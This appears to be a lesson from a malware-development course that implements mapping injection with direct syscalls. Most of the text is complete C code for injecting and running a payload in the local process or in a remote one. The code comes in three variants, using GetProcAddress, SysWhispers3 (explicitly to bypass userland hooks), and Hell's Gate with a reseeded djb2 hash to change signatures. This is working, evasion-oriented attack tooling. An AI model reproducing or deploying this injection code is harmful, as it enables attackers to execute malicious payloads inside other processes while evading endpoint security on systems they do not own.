68. Syscalls - Reimplementing Mapping Injection
Syscalls - Reimplementing Mapping Injection
Introduction
In this module, the mapping injection technique discussed earlier will be implemented using direct syscalls, replacing WinAPIs with their syscall equivalent.
CreateFileMapping
is replaced with NtCreateSection
MapViewOfFile
is replaced with NtMapViewOfSection
CloseHandle
is replaced with NtClose
UnmapViewOfFile
is replaced with NtUnmapViewOfSection
Syscall Parameters
This section will go through the syscalls that will be used and explain their parameters.
NtCreateSection
This is the resulting syscall from the CreateFileMapping
WinAPI. NtCreateSection
is shown below.
NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle, // Pointer to a HANDLE variable that receives a handle to the section object
IN ACCESS_MASK DesiredAccess, // The type of the access rights to section handle
IN POBJECT_ATTRIBUTES ObjectAttributes, // Pointer to an OBJECT_ATTRIBUTES structure (set to NULL)
IN PLARGE_INTEGER MaximumSize, // Maximum size of the section
IN ULONG SectionPageProtection, // Protection to place on each page in the section
IN ULONG AllocationAttributes, // Allocation attributes of the section (SEC_XXX flags)
IN HANDLE FileHandle // Optionally specifies a handle for an open file object (set to NULL)
);
While NtCreateSection
and CreateFileMapping
have many similarities, some parameters are new. First, the DesiredAccess
parameter describes the type of access rights for the section handle. The list of options is shown in the image below.

In this module, either SECTION_ALL_ACCESS
or SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE
will suffice.
Next, the MaximumSize
parameter is a pointer to a LARGE_INTEGER structure. The only element that needs to be populated is the LowPart
element which will be equal to the payload's size. The LARGE_INTEGER
structure is shown below.
typedef union _LARGE_INTEGER {
struct {
DWORD LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
DWORD LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER;
Finally, the AllocationAttributes
parameter specifies a bitmask of SEC_XXX
flags that determines the allocation attributes of the section. The list of flags can be found here under the flProtect
parameter. In this module, this parameter will be set to SEC_COMMIT
.
NtMapViewOfSection
This is the resulting syscall from the MapViewOfFile
WinAPI. NtMapViewOfSection
is shown below.
NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle, // HANDLE to Section Object created by 'NtCreateSection'
IN HANDLE ProcessHandle, // Process handle of the process to map the view to
IN OUT PVOID *BaseAddress, // Pointer to a PVOID variable that receives the base address of the view
IN ULONG ZeroBits, // set to NULL
IN SIZE_T CommitSize, // set to NULL
IN OUT PLARGE_INTEGER SectionOffset, // set to NULL
IN OUT PSIZE_T ViewSize, // A pointer to a SIZE_T variable that contains the size of the memory to be allocated
IN SECTION_INHERIT InheritDisposition, // How the view is to be shared with child processes
IN ULONG AllocationType, // type of allocation to be performed (set to NULL)
IN ULONG Protect // Protection for the region of allocated memory
);
For more documentation on each parameter, reference Microsoft's documentation on ZwMapViewOfSection. The Zw
documentation can be used if Microsoft is missing the Nt
documentation, which is the case with this syscall.
Some points need to be discussed about the following parameters:
First, the ViewSize
parameter rounds up to the nearest multiple of a page size (recall that the page size is 4096
bytes).
Next, the InheritDisposition
parameter is derived from the SECTION_INHERIT
enum. It can be set to one of two values
ViewShare
which maps the view into any child processes that are created in the future.
ViewUnmap
which does not map the view into any child processes.
The SECTION_INHERIT
enum is shown below.
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
In this module, the value will always be ViewUnmap
because the implementation does not create any child processes.
Finally, the Protect
parameter specifies the type of protection for the allocated memory which can be any value found here.
NtUnmapViewOfSection
This is the resulting syscall from the UnmapViewOfFile
WinAPI. NtUnmapViewOfSection
is shown below.
NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle, // Process handle of the process that contains the view to unmap
IN PVOID BaseAddress // Base address of the view to unmap
);
NtClose
This is the resulting syscall from the CloseHandle
WinAPI. NtClose
is shown below.
NTSTATUS NtClose(
IN HANDLE ObjectHandle // Handle of the object to close
);
NtClose
syscall will be used to close the handle of a section created using NtCreateSection
.
Implementation Using GetProcAddress and GetModuleHandle
The next step is to implement the mapping injection technique using the previously shown syscalls. Similarly to the previous module, it will be shown using three methods, starting with using GetProcAddress
and GetModuleHandle
.
A Syscall
structure is created and initialized using InitializeSyscallStruct
, which holds the addresses of the syscalls used, as shown below.
// a structure used to keep the syscalls used
typedef struct _Syscall {
fnNtCreateSection pNtCreateSection;
fnNtMapViewOfSection pNtMapViewOfSection;
fnUnmapViewOfSection pNtUnmapViewOfSection;
fnNtClose pNtClose;
fnNtCreateThreadEx pNtCreateThreadEx;
}Syscall, * PSyscall;
// function used to populate the input 'St' structure
BOOL InitializeSyscallStruct (OUT PSyscall St) {
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
return FALSE;
}
St->pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
St->pNtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
St->pNtUnmapViewOfSection = (fnUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
St->pNtClose = (fnNtClose)GetProcAddress(hNtdll, "NtClose");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// check if GetProcAddress missed a syscall
if (St->pNtCreateSection == NULL || St->pNtMapViewOfSection == NULL || St->pNtUnmapViewOfSection == NULL || St->pNtClose == NULL || St->pNtCreateThreadEx == NULL)
return FALSE;
else
return TRUE;
}
The LocalMappingInjectionViaSyscalls
and RemoteMappingInjectionViaSyscalls
functions are responsible for injecting the payload (pPayload
) in the local process and remote process (hProcess
), respectively. Both functions are shown below.
LocalMappingInjectionViaSyscalls
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
Syscall St = { 0 };
// Initializing the 'St' structure to fetch the syscall's addresses
if (!InitializeSyscallStruct(&St)) {
printf("[!] Could Not Initialize The Syscall Struct \n");
return FALSE;
}
//--------------------------------------------------------------------------
// Allocating local map view
if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// Writing the payload
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);
//--------------------------------------------------------------------------
// Executing the payload via thread creation
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Unmpaing the local view - only when the payload is done executing
if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Closing the section handle
if ((STATUS = St.pNtClose(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
RemoteMappingInjectionViaSyscalls
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
Syscall St = { 0 };
if (!InitializeSyscallStruct(&St)) {
printf("[!] Could Not Initialize The Syscall Struct \n");
return FALSE;
}
//--------------------------------------------------------------------------
// Allocating local map view
if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// Writing the payload
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// Allocating remote map view
if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// Executing the payload via thread creation
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Unmapping the local view - only when the payload is done executing
if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Closing the section handle
if ((STATUS = St.pNtClose(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
The NtUnmapViewOfSection
function should only be executed after the payload has finished executing. Attempting to unmap the mapped local view while the payload is still running could break the payload execution or cause a process to crash. As an alternative, the NtWaitForSingleObject syscall can be used to wait until the thread is finished, after which the NtUnmapViewOfSection
syscall can be performed to clean up the mapped payload, though this is left as an exercise to the reader.
Implementation Using SysWhispers
The implementation here uses SysWhispers3 to bypass userland hooks via direct syscalls. The following command is used to generate the required files for this implementation.
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*
Three files are generated: SysWhispers.h
, SysWhispers.c
and SysWhispers-asm.x64.asm
. The next step is to import these files into Visual Studio as demonstrated in the previous module. LocalMappingInjectionViaSyscalls
and RemoteMappingInjectionViaSyscalls
are shown below.
LocalMappingInjectionViaSyscalls
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Allocating local map view
if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// Writing the payload
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);
//--------------------------------------------------------------------------
// Executing the payload via thread creation
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Unmapping the local view - only when the payload is done executing
if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Closing the section handle
if ((STATUS = NtClose(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
RemoteMappingInjectionViaSyscalls
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Allocating local map view
if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// Writing the payload
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// Allocating remote map view
if ((STATUS = NtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// Executing the payload via thread creation
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Unmapping the local view - only when the payload is done executing
if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Closing the section handle
if ((STATUS = NtClose(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
Implementation Using Hell's Gate
The last implementation for this module is using Hell's Gate. First, ensure that the same steps done to set up the Visual Studio project with SysWhispers3 are done here too. Specifically, enabling MASM and modifying the properties to set the ASM file to be compiled using the Microsoft Macro Assembler.
Updating The VX_TABLE Structure
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtCreateSection;
VX_TABLE_ENTRY NtMapViewOfSection;
VX_TABLE_ENTRY NtUnmapViewOfSection;
VX_TABLE_ENTRY NtClose;
VX_TABLE_ENTRY NtCreateThreadEx;
} VX_TABLE, * PVX_TABLE;
Updating Seed Value
A new seed value will be used to replace the old one to change the hash values of the syscalls. The djb2 hashing function is updated with the new seed value below.
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
The following printf
statements should be added to a new project to generate the djb2 hash values.
printf("#define %s%s 0x%p \n", "NtCreateSection", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtMapViewOfSection", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtUnmapViewOfSection", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtClose", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
Once the values are generated, add them to the start of the Hell's Gate project.
#define NtCreateSection_djb2 0x5687F81AC5D1497A#define NtMapViewOfSection_djb2 0x0778E82F702E79D4#define NtUnmapViewOfSection_djb2 0x0BF2A46A27B93797#define NtClose_djb2 0x0DA4FA80EF5031E7#define NtCreateThreadEx_djb2 0x2786FB7E75145F1A
Updating The Main Function
The main function must be updated to use either the LocalMappingInjectionViaSyscalls
or RemoteMappingInjectionViaSyscalls
functions instead of the payload function. The function will use the above-generated hashes as shown below.
LocalMappingInjectionViaSyscalls
BOOL LocalMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Allocating local map view
HellsGate(pVxTable->NtCreateSection.wSystemCall);
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %ld \n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// Writing the payload
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
//--------------------------------------------------------------------------
// Executing the payload via thread creation
printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Unmapping the local view - only when the payload is done executing
HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
if ((STATUS = HellDescent((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Closing the section handle
HellsGate(pVxTable->NtClose.wSystemCall);
if ((STATUS = HellDescent(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
RemoteMappingInjectionViaSyscalls
BOOL RemoteMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Allocating local map view
HellsGate(pVxTable->NtCreateSection.wSystemCall);
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// Writing the payload
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// Allocating remote map view
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// Executing the payload via thread creation
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Unmapping the local view - only when the payload is done executing
HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Closing the section handle
HellsGate(pVxTable->NtClose.wSystemCall);
if ((STATUS = HellDescent(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
Local vs Remote Injection
Similar to the previous module, a preprocessor macro code was constructed to target the local process if LOCAL_INJECTION
is defined. The preprocessor code is shown below.
#define LOCAL_INJECTION#ifndef LOCAL_INJECTION#define REMOTE_INJECTION// Set the target process PID
#define PROCESS_ID 18784 #endif // !LOCAL_INJECTION
Demo
Using the SysWhispers implementation locally.

Using SysWhispers implementation remotely.

Using Hell's Gate implementation locally.

Using Hell's Gate implementation remotely.
